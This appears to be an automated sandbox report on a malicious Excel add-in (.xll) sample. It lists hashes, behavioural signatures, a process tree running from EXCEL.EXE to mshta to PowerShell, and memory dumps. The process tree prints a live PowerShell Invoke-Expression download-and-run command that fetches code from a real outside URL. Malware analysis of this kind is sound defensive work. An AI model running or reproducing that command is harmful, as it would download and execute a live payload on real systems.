Analysis
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max time kernel
100s -
max time network
126s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 19:13
Static task
static1
Behavioral task
behavioral1
Sample
cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6.xll
Resource
win11-20240426-en
General
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Target
cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6.xll
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Size
12KB
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MD5
7eef05a09734d3716ab632ea88485d7b
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SHA1
b41e0f20958206601f27dd8ac7ba6ca1a704f62b
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SHA256
cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6
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SHA512
0b81df9eb1d4da5688ed7cbf1724c43aa24114a47e57ae781eb5f613de7f63ac7768b614492afdb3f9ec25a3029347acff8e5cdb091f95f34168bdc7d6a61f4d
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SSDEEP
192:vZZL29RBzDzeobchBj8JONlONKyQru+rEPEjr7Ahy:H29jnbcvYJO2au+vr7Cy
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3612 5016 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 17 2556 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 5016 EXCEL.EXE 5016 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 5016 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2556 powershell.exe 2556 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2556 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 5016 EXCEL.EXE 5016 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE 5016 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 5016 wrote to memory of 3612 5016 EXCEL.EXE mshta.exe PID 5016 wrote to memory of 3612 5016 EXCEL.EXE mshta.exe PID 5016 wrote to memory of 3612 5016 EXCEL.EXE mshta.exe PID 3612 wrote to memory of 2556 3612 mshta.exe powershell.exe PID 3612 wrote to memory of 2556 3612 mshta.exe powershell.exe PID 3612 wrote to memory of 2556 3612 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FSXOS7P2\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hovmmd5b.a0r.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6.xllFilesize
12KB
MD57eef05a09734d3716ab632ea88485d7b
SHA1b41e0f20958206601f27dd8ac7ba6ca1a704f62b
SHA256cd05631f476c7599f54d6a276fe8a3383ba6b7f153034db138503b71513945b6
SHA5120b81df9eb1d4da5688ed7cbf1724c43aa24114a47e57ae781eb5f613de7f63ac7768b614492afdb3f9ec25a3029347acff8e5cdb091f95f34168bdc7d6a61f4d
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memory/2556-59-0x0000000005C40000-0x0000000005C8C000-memory.dmpFilesize
304KB
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memory/2556-58-0x0000000005BF0000-0x0000000005C0E000-memory.dmpFilesize
120KB
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memory/2556-57-0x0000000005790000-0x0000000005AE7000-memory.dmpFilesize
3.3MB
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memory/2556-60-0x0000000007490000-0x0000000007B0A000-memory.dmpFilesize
6.5MB
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memory/2556-48-0x00000000056C0000-0x0000000005726000-memory.dmpFilesize
408KB
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memory/2556-47-0x0000000005650000-0x00000000056B6000-memory.dmpFilesize
408KB
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memory/2556-46-0x0000000004D50000-0x0000000004D72000-memory.dmpFilesize
136KB
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memory/2556-45-0x0000000004DF0000-0x000000000541A000-memory.dmpFilesize
6.2MB
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memory/2556-44-0x0000000004780000-0x00000000047B6000-memory.dmpFilesize
216KB
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memory/2556-61-0x00000000060F0000-0x000000000610A000-memory.dmpFilesize
104KB
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memory/5016-11-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-9-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-17-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-19-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-18-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-20-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-15-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-14-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-13-0x00007FF8660F0000-0x00007FF866100000-memory.dmpFilesize
64KB
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memory/5016-7-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-12-0x00007FF8660F0000-0x00007FF866100000-memory.dmpFilesize
64KB
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memory/5016-0-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-10-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-16-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-8-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-6-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-1-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-4-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-5-0x00007FF8A89C3000-0x00007FF8A89C4000-memory.dmpFilesize
4KB
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memory/5016-3-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-2-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-68-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB
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memory/5016-84-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-85-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-87-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-86-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmpFilesize
64KB
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memory/5016-88-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmpFilesize
2.0MB